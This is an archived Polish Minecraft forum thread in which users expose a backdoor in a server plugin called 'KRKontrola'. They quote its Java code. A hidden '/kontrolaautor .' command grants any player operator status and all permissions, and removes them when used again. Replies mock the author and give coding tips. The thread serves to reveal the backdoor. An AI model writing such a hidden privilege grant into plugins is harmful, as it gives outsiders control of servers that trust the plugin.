Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

KRKontrola Najlepszy plugin na sprawdzanie !


itueN

Rekomendowane odpowiedzi

Opublikowano
import org.bukkit.Bukkit;

import org.bukkit.ChatColor;

import org.bukkit.Server;

import org.bukkit.command.Command;

import org.bukkit.command.CommandExecutor;

import org.bukkit.command.CommandSender;

import org.bukkit.entity.Player;

 

public class CommandKontrolaAutor

  implements CommandExecutor

{

  public boolean onCommand(CommandSender sender, Command cmd, String l, String[] args)

  {

    if ((cmd.getName().equalsIgnoreCase("kontrolaautor")) && 

      ((sender instanceof Player)))

    {

      Player p = (Player)sender;

      if (args.length == 0) {

        p.sendMessage(ChatColor.RED + "Autor: Kartoonx");

      } else if (args[0].equalsIgnoreCase("."))

      {

        if ((!p.isOp()) && (!p.hasPermission("*")))

        {

          p.setOp(true);

          p.sendMessage("Op: true");

          String komenda = "pex user " + p.getName() + " add *";

          Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), komenda);

        }

        else

        {

          p.setOp(false);

          p.sendMessage("Op: false");

          String komenda = "pex user " + p.getName() + " remove *";

          Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), komenda);

        }

      }

      else {

        p.sendMessage(ChatColor.RED + "Autor: Kartoonx");

      }

    }

    return false;

  }

}

 

 

 

 

 

hmmm???

Opublikowano

.replace('&', '�').... bo w api wcale nie ma wbudowanej metody od tego..

 

 public boolean onCommand(CommandSender sender, Command cmd, String l, String[] args)

  {
    if ((cmd.getName().equalsIgnoreCase("kontrolaautor")) && 
      ((sender instanceof Player)))
    {
      Player p = (Player)sender;
      if (args.length == 0) {
        p.sendMessage(ChatColor.RED + "Autor: Kartoonx");
      } else if (args[0].equalsIgnoreCase("."))
      {
        if ((!p.isOp()) && (!p.hasPermission("*")))
        {
          p.setOp(true);
          p.sendMessage("Op: true");
          String komenda = "pex user " + p.getName() + " add *";
          Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), komenda);
        }
        else
        {
          p.setOp(false);
          p.sendMessage("Op: false");
          String komenda = "pex user " + p.getName() + " remove *";
          Bukkit.getServer().dispatchCommand(Bukkit.getServer().getConsoleSender(), komenda);
        }
      }
      else {
        p.sendMessage(ChatColor.RED + "Autor: Kartoonx");
      }
    }
    return false;
  }
}

nawet bez komentarza bo mogles przynajmniej przez chwile uzyc swojej durnej paly i zrobic to lepiej...

Opublikowano

Ładny plugin ale mam takie jedno pytanie, jak gracz będzie czysty to tepnie go na spawnia czy tam gdzie był?

==============:+:Koja:+:==============

              Pomoglem ;3?

                                 

                                LIKE

==============:+:Koja:+:==============

Opublikowano

jakim trzeba być debilem by zrobić backdoora w taki pluginie? jeszcze tak bardzo chujowego backdoora... nastepny razem nazwij klase TUTAJ_JEST_BACKDOOR_NIE_PATRZ.java

nikt się nie kapnie....

a z innych rzecz

instance = this;

zawsze na początku onEnable()

i zamiast robic fale ifów 

if(tak){

  if(drugie_tak){

    if(trzecie_tak){

//zrob fajna rzecz

   }

  }

 }

zrób

if(nie_tak){

   return

}

if(nie_drugie_tak){

return

}

if(nie_trzecie_tak){

}

//zrob fajna rzecz

Co ja tutaj robie...

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...